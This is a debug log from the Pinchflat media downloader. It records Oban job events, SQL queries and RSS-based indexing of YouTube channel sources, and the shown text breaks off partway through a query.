{"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:57.330 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.815 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:27.331 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:57.333 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.815 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:27.334 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:57.335 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.816 [info] {"source":"oban","duration":74,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:03.746 [info] {"args":{"id":2},"id":730,"meta":{},"system_time":1784915463746085158,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:03.746 [debug] QUERY OK source="sources" db=0.0ms idle=746.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:51:03.746 [debug] QUERY OK source="tasks" db=0.1ms idle=746.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:03.746 [debug] QUERY OK source="settings" db=0.2ms idle=746.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:03.746 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:51:03.746 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:03.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:03.747 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:51:04.295 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:51:04.295 [debug] QUERY OK source="media_items" db=0.3ms idle=548.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:51:04.296 [debug] QUERY OK source="media_items" db=0.2ms idle=549.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:51:04.296 [debug] QUERY OK source="tasks" db=0.0ms idle=549.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [733, 2, ~U[2026-07-24 17:51:04Z], ~U[2026-07-24 17:51:04Z]] 17:51:04.296 [info] {"args":{"id":2},"id":730,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":550585,"event":"job:stop","queue_time":337644,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:04.297 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:13.756 [info] {"args":{"id":1},"id":731,"meta":{},"system_time":1784915473756040941,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:13.756 [debug] QUERY OK source="sources" db=0.1ms idle=1756.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.756 [debug] QUERY OK source="tasks" db=0.2ms idle=1756.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:13.756 [debug] QUERY OK source="settings" db=0.1ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:13.756 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:13.756 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.756 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:13.756 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:51:13.960 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:51:13.960 [debug] QUERY OK source="media_items" db=0.2ms idle=203.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:51:13.964 [debug] QUERY OK source="media_items" db=3.7ms idle=204.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:51:13.965 [debug] QUERY OK source="tasks" db=0.0ms idle=208.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [734, 1, ~U[2026-07-24 17:51:13Z], ~U[2026-07-24 17:51:13Z]] 17:51:13.965 [info] {"args":{"id":1},"id":731,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209553,"event":"job:stop","queue_time":415658,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:13.966 [debug] QUERY OK source="tasks" db=0.3ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:20.861 [info] GET / 17:51:20.861 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:51:20.862 [debug] QUERY OK source="settings" db=0.1ms idle=1862.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:20.862 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1862.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:51:20.862 [debug] QUERY OK source="sources" db=0.0ms idle=1862.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:51:20.867 [debug] QUERY OK source="media_items" db=5.1ms idle=1106.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:51:20.868 [debug] QUERY OK source="media_items" db=0.4ms idle=110.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:51:20.868 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:20.868 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:20.868 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:20.869 [debug] QUERY OK source="media_items" db=0.3ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:51:20.871 [debug] QUERY OK source="media_items" db=1.9ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:51:20.871 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:51:20.876 [debug] QUERY OK source="media_items" db=4.0ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:51:20.879 [debug] QUERY OK source="media_items" db=3.6ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:51:20.880 [debug] QUERY OK source="tasks" db=0.1ms idle=10.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:20.880 [info] Sent 200 in 18ms 17:51:27.336 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:28.771 [info] {"args":{"id":3},"id":732,"meta":{},"system_time":1784915488771697426,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:28.772 [debug] QUERY OK source="tasks" db=0.2ms idle=772.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:28.772 [debug] QUERY OK source="sources" db=0.5ms idle=772.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:51:28.773 [debug] QUERY OK source="sources" db=1.4ms idle=772.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:51:28.773 [debug] QUERY OK source="settings" db=1.4ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:28.774 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:28.774 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 